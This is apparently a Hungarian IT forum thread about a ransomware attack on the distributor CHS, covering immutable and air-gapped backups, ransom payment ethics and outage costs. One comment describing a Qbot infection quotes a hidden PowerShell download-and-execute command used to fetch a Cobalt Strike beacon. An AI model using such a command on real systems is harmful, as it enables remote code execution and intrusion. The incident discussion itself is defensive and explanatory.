A terminál szerveres használat valóban előrelépés ilyen téren. Nálunk is van olyan ügyfél, aki HO-t nem enged csak úgy, hanem VPN-en RDP-zni lehet és kész, nincs otthoni géppel hálózaton matatás.
Meg persze olyan is van, akinek csak azért van terminál szerver, mert a rosszul megírt (megtervezett) szoftver hálózaton kliens/szerver üzemben futtatva használhatatlanul lassú :-D
De itt arról volt szó, hogy klasszikus Windows AD környezetben, hálózati megosztásokat korlátoznánk úgy, hogy gyakorlatilag használhatatlanná válna eredeti feladatára. A munka nehezítése biztonság okán, meg a munka lehetetlenné tétele biztonság emelésére nem ugyan az. Én azért szólaltam fel, hogy jellemzően nem egy protokollban vagy egy felhasználási módban van a hiba, ami lehetővé teszi a sok ransomware terjedését és visszafordíthatatlan károkozását.
Annyiban, hogy triviálisabb viselkedés-alapú monitorozást végezni vele, mint SMB-vel, integrálni tudsz MFA-t, valamint maga a kliens is azonosítható. Hiába van credential-öd, ha a ransomware http kliensét visszadobja a szerver.
Nincs jó megoldás
Hát ez nézőpont kérdése. Az alapvetően hibás security koncepciók kiirtása pl. elég jó megoldás. Csak sajnos bizonyos gyártók telibeszarják a jó koncepciókat, és úton-útfélen ragaszkodnak a régi fostos mániáikhoz (pl. extension alapján döntjük el, hogy mivel kell valamit megnyit, DE az extensiont jól eldugjuk a user elől, NEHOGY észlelni tudja, ha gáz van, mert szerintünk ez így biztonságos, és a felhasználók ezt akarják, hogy ne is tudhassák, mikor basznak rá).
Nincs kőbe vésve, hogy a ransomware hozzányúl a fájl nevéhez vagy kiterjesztéséhez.
@ gyuri23: Heimdal Security ransomware-t picit részleteznéd:
mekkora környezetben (kliensen és / vagy szerveren fut), valamilyen vírusirtó mellett használod, mennyi a vakriasztása, erőforrásigénye?
Előre is köszi! :]
# RHE, Rocky, NethServer, MBP14
Nem értem, ha ilyen jól tudod menedzselni a desktop géped, nem akarsz sok pénzt keresni, és ugyanilyen faszán megvédeni egy multis hálózatot, amiben van vagy 60-80 ezer desktop, ugyanennyi userrel, és feleannyi szerverrel?
https://www.hwsw.hu/daralo/65722/chs-ransomware-hack-zsarolovirus-tamad…
hackertamadas != zsarolovirus beszivasa
Persze bele lehet magyarazni, hogy Mancikat celzottan tamadtak mindenfele emaillel.
Ugye azt tudjuk, hogy a zsarolóvírus nem csak úgy indul, hogy Mancika rákattint kettőt az emailben kapott ISO/img filera ;) Én már láttam titkosítva Windows Servert nyitott rdpvel amin nem volt kattintgatós Mancika :)
azure-ban pl. meglepően egyszerű publikus IP-vel, by default nyitott RDP-vel startoló windows szervert vagy klienst birtokolni
Az mennyire igaz hogy a ransomware jellemzően a windowsos infrastruktúrát támadja?
Ha van egy jó kis inkrementális mentésem a felhőbe akkor tulképpen csak úgy tudnak kicseszni velem ha megkeresik a felhős kulcsot és annak használatával kitörlik a mentést.
Ha eggyel tovább viszi az ember, elveszi a törlés jogát a mentéstől és máshol tárolja a "törlős kulcsot" akkor azzal még tudja nehezíteni a károkozást.
Gábriel Ákos
Nem kell ehhez felhő, normális helyen úgy működik a mentés, hogy lejáratig nem lehet törölni/módosítani.
"nem lehet törölni" is true until it is not :)
Gábriel Ákos
A legparasztabb *tartalék* mentésem olyan, hogy csak a diff idejére kapcsol be egy e célra dedikált nas, miközben itt kéthavi diffet őrzök. Annyira nem akarom túlragozni, de ha a diff 40-70 perce alatt egy retek cpuval/PC-vel elkódolsz nemkevés millió összállományt 1.5+ T méretben, akkor beprotezsállak a NASAhoz. Szóval mínusz egy.
Ui favágó példa volt, ragozhatjuk tovább. Van ezen kívül egyszerűbb mentésem is, ami még mindig csak tartalék. Meg van komolyabb is.
Vortex Rikers NC114-85EKLS
> elkódolsz nemkevés millió összállományt 1.5+ T méretben
a mentest nem kell elkodolni, eleg torolni/felulirni 0-val. arra meg eleg lehet az ido.
Jogos, de azt talán nem ransomsware névvel illetik, illetve ha az állományok számát pontosítom (emelek egy nagyságrendet, hogy tizes legyen) akkor az idő kevés.
Vortex Rikers NC114-85EKLS
Egyrészt a mentést írták, elég csak az élest elkódolni, másrészt, attól, hogy nem visszaállítható, még bekamuzhatják és megzsarolhatnak, harmadrészt elég csak pár kritikus részen átírni állományokat, hogy kapásból ne használhasd.
Nade a mentő cuccnak miért van olyan írásjoga, amivel felül lehet írni/törölni bármit? Ez olyan, mintha a titkárnőnek adnám a root jelszót...
Én már hallottam olyan helyről, ahol a titkárnőtől kellett elkérni a root jelszót... :-)
Ja-ja, mint a legveszélyesebb állatfajta: a kiskacsa root passworddel... :D
Hát, ha a páncélban van(*), lezárt, aláírt borítékban, akkor az még jó hely is lehet.
*) Nem, nem a titkárnő.
Nyilván, de a vendégem vagy egy sörre, ha sikeresen törölsz ransomware-rel egy olyan storage-ról, ahol bekapcsolt retention lock mellett a gyártó garantálja az alábbi szabványoknak való megfelelősséget:
Mondjuk a CHS-nek pont van pénze datadomain-t venni ami még a veeam alatt is használható.
Már simán támadják a mentést, mivel akkor van értelme zsarolni. A mentő rendszereket kezdik izolálni, nincs állandó összeköttetés az infrával. Virtuális vagy fizikai air-gap.
az AWS ad úgy tárterületet, hogy a tulajdonosa nem tudja törölni pár hónapig (pluszpénzért adja)
fizikai storage gyártóknak is van olyan termékük, ahol a az adat nem törölhető az előre beállított időpontig (pluszpénzért)
usa állami szabályzat bizonyos szint fölött előírja, hogy a mentésnek törölhetetlennek kell lennie.
A koncepció és a dolog nem új, csak nem szokák kifizetni rá a pénzt/tudást/időt.
A biztonsági mentésnek két tulajdonsága van, amit általánosan nem szoktak betartani:
1) biztonsági mentés az, amire nincs szükség: a törlésével nem keletkezik kár (csak kockázat). Értsd, semmi nem létezhet egyetlen példányban csak a biztonsági mentésben, a jog által kötelezően archiválandó adatok az archívumba valók (amit aztán elemzés alapján le kell menteni vagy nem)
2) a biztonsági mentés az, amint a rendszergazdai jogosultsággal rendelkező betörő nem tud letörölni. Ennél fogva egy robotizált szalagos mentési rendszer sem alkalmas biztonsági mentésnek.
WORM?
Diszk alapú WORM. Vagy alapból tudja a tároló általában archív tárolók, lehet plusz pénzért ilyen funkció némelyik NAS is tud ilyet. Retention time/lock van az adaton. Mentésnél meg x ideig nem törölhető, max. ha újrainicializálod a tárolót, azt meg nem lehet menedzsment felületről. Esetleg tud a tárolód verziózni, és ha monitorozod, akkor talán feltűnik, ha fogy a hely, mert nyomják rá a titkosított mentést.
Meg van még az air-gap, amikor a mentési rendszert leválasztod és csak a mentés idejére kapcsolod össze, ha minden okés.
Most jön ez a funkció, tudtommal ingyenesen a DSM 7.2-be.
QNAP QuTS hero rendszerű NAS-okban jelenleg is ingyenesen elérhető. (én egy TS-873A alatt használom)
Viszonylag egyszerű beállítani, de tökéletesen jó a mentéshez: https://imgur.com/a/10Rbacc
Nagy Péter
Rendszeres visszaállítási teszt, vagy legalább inspection nélkül nem ér semmit az sem, pluszpénz ide vagy oda. Ha fél évig lappang a ransomware, és már kirotálódott minden tiszta mentésed, akkor hajadra kenheted az egészet kb.
Nalunk heti rendszeresseggel van teszt.
Na bumm.
Visszaallitok egy random szervert, belenezek egy-ket fajlba, ami tudom hogy hogy nez ki normalisan.
Es? Minden fajlt nem nezhetek at. Plane nem minden mentest.
Persze mindenre van megoldas, de na, nem annyira egyszeru ez.
Pl. ne hagyjak fel evig lappangani :)
Ahol komplett security team van erre, ott ezt meg lehet csinálni. Ott, ahol az ember munkája az, hogy a cégnek pénzt keressen IT tudásával (a cég ezt értékesíti) és csak hobbiként kapja nyakába a saját cég üzemeltetését is, ott erre korlátozott a lehetőség. Persze, vannak drága backup szoftverek, amik automatizálják ezeket a taskokat, de hát azokat meg meg kéne venni, de az meg ugye PÉNZBE KERÜL, TE ÚÚÚRIIISSTEEEEEEEN!
trey @ gépház
Tudom :)
Kis cégnél (kis cég, kis pénz, kis foci) viszonylag megoldottam.
Viszont ha belső információk birtokában, célzottan támadnák rendszert - lenne is rá pár tippem hol kéne kezdeni, hehe -, akkor lenne nagy futkosás. (Úgy kb. 99% hogy ez történt a CHS-nél is. Már nem a futkosás, az 100%.) És nem mintha ki akarnám próbálni, de kb. csak idő kérdése visszalapátolni mindent.
Pár dologgal (ssh/sudo 2fa pl.) lehetne érdemben növelni a biztonságot, már persze értelmes implementációval. Meg mondjuk egy effélével: https://github.com/stamparm/maltrail
Én a legkeményebbet Suse Enterpriseon láttam. Nem is olyan rég.
Vortex Rikers NC114-85EKLS
Off: nem ilyenkor kellene elgondolkozni azon, hogy az end-user gépén az egyenszabvány rendszer helyett systemd-OS legyen, a szerveren meg Linux? Tudom, hogy azok is támadhatók, na de mekkora a piaci részesedésük? Egy százalék? Fog arra reálisan fejleszteni a haxor, amikor az egyenszabvány rendszer részesedése 80+ százalék?
Azellennemvéd. Egy ransomwarez jellemzően phising jellegű emaillel jut be, csak ott egy jólsikerült file-t kell megnyitni, illetve jelszót nyernek ki, amivel esetleg elérhető az RDP. (vagy valami távoli elérés). Innentől az jön, hogy minden helyből elérhető X típusú file-t kódolnak, gyakorlatilag a felhasználó jogosultságával. Ennek egy masszívabb változata, ha Windows/Linux/VMWare exploitokra rápróbál még ugyanez a cucc a hálózaton, és próbál jogosultságot emelni, azaz IS, tehát kódolgat, és közben "szétnéz" mi van még elérhető. Ha egy sima általános cuccot szippantanak be, akkor esetleg segít az, hogy nem Windowsról lepattan, vagy jóval kisebb kárt okoz. Ha célzottabb a történet, amire egy nagy cégnél van esély, akkor végigtúrják a Linuxos hálózatot is.
A szeparáció, offsite, offline és hasonló kulcsszavak, meg a felhasználók képzése (a kedvenc topik a security awareness) ami megállítja ezeket, és a megfelelő helyreállítási terv. Az más kérdés, hogy ezek jellemzően igen "kényelmetlen" pénzügyi ráfordítással járnak, amit vagy nem akarnak, vagy nem tudnak teljesen vállalni. Ezt már több más topikban említettem, ez van, aztán pislognak.
A Linux desktophoz még megemlíteném, hogy Group Policy és Active Directory jellegű központi menedzsment az, ami miatt masszívan Windows-olnak, illetve a mindenféle kliensprogramok elérhetősége, bár ez utóbbó már webalkalmazás felé tolódik talán.
Plusz egy SoC rendszer + team, ami képes felismerni tömeges fájlhozzáférést minta alapján és riasztani, izolálni a fertőzött hostot ... Jahm, ezek mind nagy pénzek, ilyenek nincsenek magyar nagyvállalatoknál sem, csak nyomokban. Főleg pénzügyi szervezetek vonalon.
trey @ gépház
Plusz ki kell rájuk terjeszteni az IBTV-t és papíron olyan biztonságosak lesznek mint Fort Knox. :D
Node sok helyen a könnyen elérhető dolgokat sem sikerül megugrani, "mertdrága...".
Nekem mondhatod, minden nap látom :D
trey @ gépház
Van már olyan NAS + ransomware elleni szoftver, ami maga figyeli a gyanús aktivitást és kitiltja azt a felhasználót amelyik nem úgy viselkedik mint szokásos.
Persze. A nagyobb AV gyártók is integrálnak már viselkedésmintákon alapuló védelmeket, ami mögött felhős logika áll. Ez nem újdonság. Kérdés, hogy mennyire hatékony egy éles helyzetben.
trey @ gépház
Ha elárulják volt-e nekik ilyen, akkor megtudhatjuk. :)
G-DATA vírusírtó viselkedésminta-alapú zsaroló vírus keresője már fogott meg olyan zsarolóvírust, amit nem ismert, de a a fájlok szisztematikus titkosítása lebuktatta.
Nyilván nem lehet erre bízni a rendszert, de ha mégis megfogja, akkor meg lehet úszni vele egy hosszas visszatöltést.
Nagy Péter
Azt hinném, hogy a 'mindenféle kliensprogramok elérhetősége' szorosan összefügg a 'jólsikerült file-t kell megnyitni' résszel: ha a derék user nem rendelkezik *.exe és *.ps futtatási lehetőséggel, akkor máris kevesebb levélmellékletet futtat le.
Elég egy okos PDF-et megnyitni, egy 0day linket (egy feltört CMS-re felpakolt, semmi krixkrax URL, hanem httx://normálisweboldal/valami/fontosfile.pdf), egy jpg library hibával, amiben kódfuttatási hiba van. Sőt, elég volt anno egy zipet megnyitni... láttunk már sokmindent. Linuxon ugyanez pepitában, és még group policyval sem tudsz szigorítani magán a gépeken egyszerűen.
A felhasználók horizontjának szélesítése nélkül bármilyen korlátozás, biztonsági beállítás, csak úgy van magában, és vagy működik, vagy nem.
Az másik szint, ha egy partnercéghez férkőznek be, és teljesen valid emailt küldenek, egy célzott valamivel (voltak ugye bankszámlás ideoda utalják pls mégiscsak problémák nemrégiben, meg láttam ilyet én is sajnos). Ott képezhetsz bárkit, meg lehet 2387db biztonsági beállításod, de csak a szeparációs meg offsite jelleg lesz ami esélyt ad.
Így van. Én negyedévente küldök ki oktató e-mail-t az usereknek immár évek óta. Mostanra kezdik kapiskálni azt, amit már 5 éve is leírtam nekik. De, látok valami fényt az alagút végén. Egyesek jönnek és kérdeznek. És ez jó. Persze a nagy része le se szarja. De az arány évről évre változik. Csak lassan.
trey @ gépház
Legjobb marketing stratégia.
Gábriel Ákos
http://chs.hu/
Már van honlap, igaz , hogy csak fontos üzenettel és SSL nélkül.
Mondjuk azt nem értem általában, hogy mi komoly pénzbe kerülne egy VPS-t előre felhúzni egy statikusan szerkeszthető weboldallal (ez kb. ingyen van n+1 helyen), ott leírva, hogy ha szopó van, akkor mi a szopó, az IP-t kell átírni, hogy oda mutasson vagy azt se, ha van failover rule rá. De hát nem divat a sorry server.
https://iotguru.cloud
De már felhúzták és áttették rá a wildcardos SSL certet is már (az biztos nem kompromitálódott :))
Ennél nem sokkal egyszerűbb/olcsóbb AWS S3-ban tartani 1 db index.html fájlt? :)
Az szerintem már részletkérdés, hogy cloud, VPS vagy bérelt statikus tartalom...
https://iotguru.cloud
Jah, én sem arra gondolok, hogy az egyik másfél cent, a másik meg két dollár, hanem hogy a VPS +1 dolog, amivel ha keveset is, de foglalkozni kell.
Azt tudja valaki, hogy melyik ransomware volt?
Sokat tudunk, keveset mondhatunk :D
🙈 🙉 🙊
trey @ gépház
Egy CVE segítség lenne, de annyira nem érdekes mert asap patchingen vagyunk.
Legyen a tavaly januári IIS RCE légyszi ;)
Nekem a személyes tippem, hogy ha publikus valamin keresztül jutottak be, ott volt még valami, illetve egy fokkal nagyobb esélyt látok az email felöli közelítésen. Mindíg a kisebb ellenálláson keresztül próbálkoznak, hiszen minek bármit hekkelni, ha lesz valaki, aki készségesen megnyitja a trükkös emailt.
És ha onnantól csillapítatlan módon roboghat tovább, akkor tarolni fog.
Engem a legjobban az érdekelne, hogy 0-day sebezhetőséget használtak, vagy csak nem volt frissítve a gép?
Nagy Péter
A bé, bé, bé... bé... :D
https://iotguru.cloud
Play?
KAMI | 神
Linux Mint: https://linuxmint.hu LibreOffice: http://libreoffice.hu SeaMonkey : http://is.gd/smhun
Legyél Te is Mozilla és Linux Mint önkéntes
subscribe
02.02-án írtam: "Technikai probléma, holnap szerintem már menni fog"
Nos.. nem így lett.
Vortex Rikers NC114-85EKLS
Kedd/szerda körülre tervezik a restartot.
Elvileg mentésük volt az előző napról, de kb. mindent újrahúznak, állítólag az összes klienst is!
forrás?
Senkitől sem látok forrás megjelölést! :)
Ezt csicseregték a verebek ...
Az én verebeim teljes mértékben mást. A tied európai vagy afrikai veréb volt? :D
trey @ gépház
Nos, majd kiderül! :D
Teljesen mind1 hogy afrikai vagy európai vagy esetleg orosz, mindegyik anonim ....
Privátban megbeszéljük, itt nem!
tökkel, vagy tök nélkül?
Ez a helyes kérdés! :D
trey @ gépház
Mire mennének ketten egyel... :-)
Az fecske, és töketlen :)
... nem mondod.
Bámulatos hol tart már a tudomány.
Még mindig nem tudom milyen veréb volt!
De úgy néz ki, igazad mondott!
Pedig milyen jó lett volna, ha eltűnik az utolsó pár rendelés számlája ... :D
NAV-nál megvan :D
Domain, tárhely és webes megoldások: aWh
Egyszerűbb lenne összedobni nekik a váltságdíjjat. :D
Ha -az itt lévő pletyák alapján- zsarolás áldozatai lettek, akkor mindíg az a kérdés, hogyha engednek a zzsarolásnak, akkor mi a bizonyíték, hogy nem lesz következő. Közvélemény szerint egy zsaroló addig megy, amíg egyáltalán elmehet (amíg ki nem vérzik a célpont). Tehát mindenképp meg kell védeni magát. Akkor pedig minek fizessen?
Ebből (játékelmét) következne, hogy kiszelektálódhat a piacon a "tisztességes zsaroló" kategória, aki csak egyszer, kifizethetően zsarol. De mégis, hogy? Ki gondolja azt, hogy ezen a "piacon" (a zsarolási eseményeknél) megjelenik és többsége kerül a "tizstességes zsaroló" hozzáállás? Nagyon grotekszül hangzik, meg tudom érteni, hogyha nem fizet valaki, bármekkora is a kár.
node, számlát ad a zsaroló? persze, hogy nem. Hát, ezért nem is tudnak neki fizetni, még ha akarnának se. Számla nélkül nem lehet...
Domain, tárhely és webes megoldások: aWh
könyveléstechnikailag megoldható, csak le kell belőle szjázni (meg egyéb), az állam általában nem tílt meg semmit, amiből neki is haszna van
hogy BTK szerint szabad-e egy zsarolónak fizetni, azt nem tudom
no igen, befigyelhet még ilyen pénzmosási dolog, meg terrorizmus finanszirozása stb.
Domain, tárhely és webes megoldások: aWh
"hogyha engednek a zzsarolásnak, akkor mi a bizonyíték, hogy nem lesz következő."
A bizonyiték, hogy nem lesz következő, az nem azon múlik, hogy fizetnek-e vagy sem, hanem, hogy tanulnak a hibából (bármi is, pl. nem patcheltek, userek felöl elérhető volt a mgmt háló akármi) és azt kijavitják.
Ha az alapvető problémát nem javitják ki, akkor teljesen mindegy, hogy fizetnek vagy nem, mert mondjuk 1 hétnyi leállás és 2 csilliárdnyi pénz elkbukása után visszaállnak egy backup-ra, mancikák újra begépelik az eltűnt számlákat, majd két hét múlva újra bekapják a virust. Ennek nincs értelme.
A fizetésnek úgy van értelme (feltételezve, hogy megkapják a kulcsot, ami persze rizikós) hogy a zsarolóknak kifizetik a tanulópénzt, visszakapják az adataikat, majd kijavitva az eredeti hibát kizráják a zsarolókat a további zsarolási lehetőségből.
a probléma a fizetéssel ott van, hogy fenntartod és igazolod,bátorítod, hogy csinálják mert működik a szisztéma.
Kb 2 éve az Ír HSE (egészségügyi minisztérium) ugyanígy járt el mint ahogy Te is írod, nem fizettek és még rendeletet is hozott az Ír kormány hogy a lopott adatokat tilos felhasználni. Marhára sokat segítettek mindenkinek ezzel, a felelősséget hárították az állampolgárok/itt tartózkodók pedig szívnak mai napig mert a személyes adataink kikerültek.
Egyáltalán nem történt semmi változás azóta sem biztonsági szempontból, mert precedens lett hogy ha gebasz van akkor nem fizetnek és hajlandóak bebukni minden adatot. Teljes egészségügyi IT rendszerről beszélünk.
Álom munka lehet ott dolgozni egyébként, kontárok előnyben, 0 felelősség.
Ezzel a hozzáállással nem értek egyet. A fizetéssel kapsz esélyt az üzlet megmentésére a felderítést meg majd intézi az Interpol vagy FBI. Az üzemeltető igenis vállalja a felelősséget és köhögje ki a pénzt ha már megvédeni nem tudta az infrastruktúrát, biztosítás amúgy is kell legyen.
Időbe telik míg elkapják a bűnözőket de előbb utóbb rács mögött végzik.
a rendszer azért működik mert megéri zsarolni; A nyeremény nagyobb mint a rizikó, hogy elkapnak. A legtöbb cég titokban fizet. Ha senki sem fizetne nem érné meg a buli; de ez per pillanat elúszott hajó.
Nem állítottam, hogy a nem fizetés megoldja a helyzetet, de az általad említett esetben sem garantálta volna semmi, hogy fizetés után kicsit később nem értékesítik az adatokat; a legtöbben ezt teszik: többszörösen keresnek a megszerzett adatokon.
A zsarolóknak ez az egy kártyája van.
Sokkal nagyobb kárt tudnának okozni ha egész egyszerűen csak nem adják át a titkosító kulcsot és a cég vagy intézmény egész egyszerűen megszűnik létezni.
A cégnek kellenek az adatok hogy folytathassák a munkát ahol abbahagyták, ha izmozni akarnak akkor hajrá. Felelőtlenségnek tartom.
Az adatkezelés felelősség eddig egyet értünk..
Biztos van ilyen is, de szerintem nem jellemző, főleg nem a legtöbb.
Kiszuszmákolni a neten adott esetben sokszáz gb-nyi vagy tb-nyi adatot könnyen lebukáshoz vezet.
A zsarolóvirusok inkább szép csendben, helyben encryptálnak és kész.
Kisebb adagokban szokták csepegtetni, elkeverve korábbi incidensek adataival; így lehet "hízlalni" az adatmennyiséget és persze nehezítik a forrás meghatározást. Az érzékeny személyes adat ráadásul pár hónappal/akár évvel később is ugyanúgy érték ... azért mert egy példányt visszakaptál belőle ami kikerült azt már érdemes úgy kezelni mintha nagy nyilvánossággal megosztásra került volna...
Mégis ki és mi garantálja, hogy ha fizetnek, akkor visszakapják az adatokat, illetve nem kerülnek ki az adatok?
https://iotguru.cloud
Garantálni nem garantálja semmi sem, de hogy ha híre megy, hogy valamelyik csoport a fizetés ellenére sem adta vissza az adatokat, az nagyon rontja a többiek fizetési morálját.
Ezért ezeknek a nagy pénzeket lehúzó csoportoknak érdeke, hogy ha fizet valaki, akkor visszakapja az adatait.
Nagy Péter
Ah, micsoda etika. :D
https://iotguru.cloud
Láthatatlan kezek! :D
Hát, a konkrét esetet nem tudom (sem azt, hogy volt-e mentés, sem azt, hogy fizetnek-e), de hasonló kaliberű cégeknél nem ritka, hogy 2-3 millió USD a díja a feloldásnak. Ekkora összegnél már elég, ha csak egy cég nem kapja vissza az adatait, és máris sok millió dollártól esnek el a hackerek. Akik annó az Unix Autó rendszerét is feltörték, annyi pénzt kaszáltak vele (nem az Unix Autón, hanem a többi fizető "ügyfélen"), hogy az ágyneműtartóik is tele volt nagy címletekkel. És egytől egyig be is tartották, amit a váltságdíjért cserébe ígértek.
Az mondjuk aggasztó, hogy a CHS már egy hete áll, és még csak annyit sem közöltek, hogy várhatóan mikor fognak nyitni. Szerintem ha volt jó mentésük, vagy fizettek, akkor mostanra már működnie kellene.
Nagy Péter
Egy picit OFF:
A unix auto nagyon más volt. Meg ott akiket kihívtak security céget azok háttal ültek a mozinak.
Eleve hogy a secu cég azt mondta a UNIX-nak hogy REvil-Sodinokibi volt aki megtámadta őket már az nem fedi a valóságot. Eleve mert különbséget teszünk hogy ki az aki támad meg ki az akinek a ransomware-jét pusholják ki. És ebben az esetben a Quakbot volt aki megtámadta őket és az Ő 2nd layer proxy serverükhöz csatlakozott vissza a bot aztán később lett powershell-el cobalt strike beacon-jük. De az IT cég aki kiment még a Qbot-ot se találta meg :D .
(Erről nagyon sokat tudnék mesélni de ugye Magyarországon vagyunk, ha bármit is mondasz már ügyvéddel fenyegetnek. Ezért nem is lett jelentve anno hogy meg votlak fertőzve. Ha bejelented akkor jönnek hogy te ezt honnan tudod mit csináltál mihez férsz hozzá stb stb a sok kérdés és fenyegetés. Idehaza jobb ezekből kimaradni és nem jelenteni aztán pedig látni ahogy "elsüllyed". Ez tapasztalat. Itthon eljutottunk arra a szintre hogy ha van is fertőzés nem jelentik külföldi researcherek SEM nem hogy Magyarok. Ez vonatkozik állami rendszerek fertőzésére is, illetve a sok POSTA.hu phishing ahol bankkártya adatokat lopnak el ahol megvan a Marokkói meg Tunéziai meg Lengyel ember otthoni IP-je.)
=====================================================================================================================
És csak hogy ne legyen az hogy én itt "tippelek" meg nem tudom miről beszélek itt van pár log (Nem a UNIX rendszeréből mielőtt valaki nem értette volna az eddigieket amit leírtam):
Ő volt az első fertőzött phishing által (maszkolom a nevét logikus):
W...Viktor; Windows defender; Win 10 PRO.
Fertőzés ideje (unix time): 1611845954
Ezeket a commandokat futtatja le a Qbot mikor bekerült: (Minden fertőzésnél ez az alap)
Ennek a botnak az egyik pluginje végig gyűjtötte az összes keylogot meg levelezést meg mail címeket, exportálta böngészőben store-olt jelszavakat stb.
Aztán manuálisan pusholják ki a botnak hogy powershellel töltsön le egy filet és futassa (Cobalt strike beacon ami vissza connectel).
Ez így néz ki: "powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('hXxp://......'))" (csak base 64 encodeolva)
Logikus a domain admin a cél, aztán onnan minden gépre kiküldik GPO-ban hogy töltsed le azt az exét és futassad. De az exe már nem a Quakbot saját exe-je hanem azt veszik valakitől és X arányban osztoznak azzal akié az exe. Nem tudom ebben az esetben kinek az exe-jét használták. És pontosan tudták mennyi a cég bevétele, azt azonnal kigyűjti egy emberke aki kb csak ezt csinálja nekik 8 órába hogy megnézi ki a ferőzött és mennyi a cég bevétele és commentet tesz hogy érdemes e vele foglalkozni. Ebben az esetben is ez volt.
=====================================================================================================================
Viszont az tökjó hogy a unix közölte a részleteket hogy mi történt! Azért az nagyon korrekt! A CHS sehol sincs ezzel még.
Köszi
miért menne híre? A cégek attól fosnak, hogy kiderül, hogy mibe kerültek :)
Hát, azért szakmai körökben elég sok helyről hallottam már, hogy ki fizetett és ki nem.
Lehet, hogy ezt az újságok nem hozzák le, de azért egy nagy cégnél ilyenkor 40-50 ember dolgozik a helyreállításon, ebből 5 minimum elmondja az ismerőseinek, hogy mi volt.
Nagy Péter
Gondolom olyan NDA-t íratnak vele alá, hogy az ükunokái is fizetnék, ha eljár a szája és rábizonyítják.
A vegtelen ciklus is vegeter egyszer, csak kelloen eros hardver kell hozza!
"veget er", kulon irjuk
Imádom ezt a közösséget! :D
Legalább te ékezettel imádod.
Vortex Rikers NC114-85EKLS
Továbbá a mondatot nagybetűvel kezdjük, és írásjelet teszünk a végére.
Átadom az üzenetét, azt mondja: "Köszy!"
Vortex Rikers NC114-85EKLS
Persze, de ez pont nem jelenti azt, hogy a sajtóba is feltétlen kikerül.
Ez jogos, de eléggé idealizált. Mindig lesznek olyanok, akik azt mondják kevesebbe kerül kifizetni, mint bebukni az adatokat, mert nincs (használható) mentésük. És persze, mondhatnák, hogy a közös jó miatt, inkább válasszuk a nagyobb gázt, hogy másoknak jobb legyen, de ez nem lesz igy...
attól "nagy gáz", hogy masok is tudomast szereznek rola :-D es meg kell magyarazni a szart.
A legnagyobb gond, hogy van, akinek nincs mentése, és ugyanakkor az adatok nélkül nem tud tovább üzemelni. (tudom, nem szabadna lenni ilyeneknek, de akkor is vannak)
Én ismerek jó, és közepesen rossz példát is:
Van, ahol relatív kis cég vezetése elsőre rábólintott, hogy költsenek 5 millió forintot a mentésre (miután elmondtam, hogy mit lenne érdemes, és miért), míg máshol hasonló nagyságú cég úgy volt vele, hogy legfeljebb 1 millió forintig hajlandó elmenni.
Így egyik cégnél fizikailag is két helyszínen van meg az adat, (éles szerver + backup szerver másik címen), és mindkét helyszínen van szalagos mentés is (rotálva). A másik helyen meg egy darab távoli NAS fért bele a költségvetésbe. Ha jönne a zsarolóvírus, az egyik helyen biztosan nem kellene fizetniük, de a másikon már nem vállalnék érte felelősséget.
Nagy Péter
"visszakapják az adataikat, majd kijavitva az eredeti hibát kizráják a zsarolókat a további zsarolási lehetőségből."
Aha... bent voltak hetekig, senki nem vette őket észre, csak mikor beindult az "akció". Ezek után semmi garancia nincs arra, hogy a pénz kifizetése és az adatok helyreállítása után nem marad bent valami alvó kis dolog, vagy backdoor amit 1-2 év múlva megint lehet aktiválni.
Egy ilyen sztori után minimum újra kell húzni a komplett rendszer minden elemét, - az eredetitől izolálva.
Nyilván.
(Ha egy szemét off-topikoló troll lennék, most megkérdezném, hogy crypto-pénzben kérik-e a válságdíjat, és ha igen, vajon van-e más célja és értelme a kriptopénznek [már a pilótajátékon túl], mint a bűnözők támogatása. Régebben ez nehézkesebb volt egzotikus országokban kellett bankszámlát/fedőcéget/etc létrehozni, és reménykedni, hogy nem nyomozzák le. Pl.: https://en.wikipedia.org/wiki/AIDS_(Trojan_horse) )
Továbbá a nokiásdoboznál is kényelmesebb, az tuti.
(Off: az a nyomozati munka csodája volt, valóban. https://www.origo.hu/itthon/20150630-mar-az-ugyeszseg-sem-hisz-a-nokia-… )
hat a cryptovirusok, johogy cryptopenzben kerik a valtsagdijat!!! :DD
A vegtelen ciklus is vegeter egyszer, csak kelloen eros hardver kell hozza!
Tavaly 69 milliárd Forint volt a CHS bevétele, ha 254 munkanappal számolunk és tényleg megszűnt az összes gazdasági tevékenység (nyilván nem), akkor 271 millió Forint esik ki naponta.
Az nem a profit.
Nem is írtam profitot.
Hát... ööö... egyrészt, ha ez kiesik, akkor költségük jelentős része is kiesik, mert nem kell megvenni a cuccot mégnagyobbkerből, másrészt a partnerek nagy része gondolom ráér pár napot, szóval majd a következő hetekben bepótolják az elmaradt rendeléseket. A veszteség a rezsiköltség, plusz a lemorzsolódó ügyfelek, akik máshol vették meg, mert hamar kellett.
https://iotguru.cloud
Leszámítva, hogy a raktár, iroda, alkalmazottak ugyanúgy ott vannak, és a raktárkészlet meg ugyanúgy áll a polcokon. Arról nem is beszélve, hogy közben a bejövő számlák is járnak le, azokat is fizetni kell, ráadás ezek sokszor hitelkeretből mennek cégek között.
Ha az ERP is kuka... na az lesz az igazi szívás, hetek lesz azt újra felépíteni, adatokkal feltölteni, ha nincs róla használható backup. Volt szerencsém hozzá máshol.
ha nincsenek is ott az alkalmazottak. de a kényszerszabadság alatti bérüket (vagy távolléti díj, vagy minek hívják bérszámfejtési szempontból), fizetni kell.
4 és fél éve csak vim-et használok. elsősorban azért, mert még nem jöttem rá, hogy kell kilépni belőle.
És az nem költség ugyanúgy? :)
ha nincsenek is ott az alkalmazottak. de a kényszerszabadság alatti bérüket (vagy távolléti díj, vagy minek hívják bérszámfejtési szempontból), fizetni kell.
4 és fél éve csak vim-et használok. elsősorban azért, mert még nem jöttem rá, hogy kell kilépni belőle.
Hát, ha az ERP is kuka, akkor még lehet az is problémát jelenthet, hogy tudják, melyik alkalmazottnak mennyit kell utalni. (különösen február elején, mivel a legtöbb helyen a fizetésemelés január 1.-től szokott lenni, így nem triviális, hogy a decemberi adatokat nézik).
Az pedig ilyenkor jelentős plusz költséget szokott jelenteni, hogy fizetni kell akár 10-20 külső informatikai szakértőt, akik segítik a helyreállítást. Illetve jó eséllyel plusz hardver és szoftver beszerzés is szokott ilyenkor kelleni.
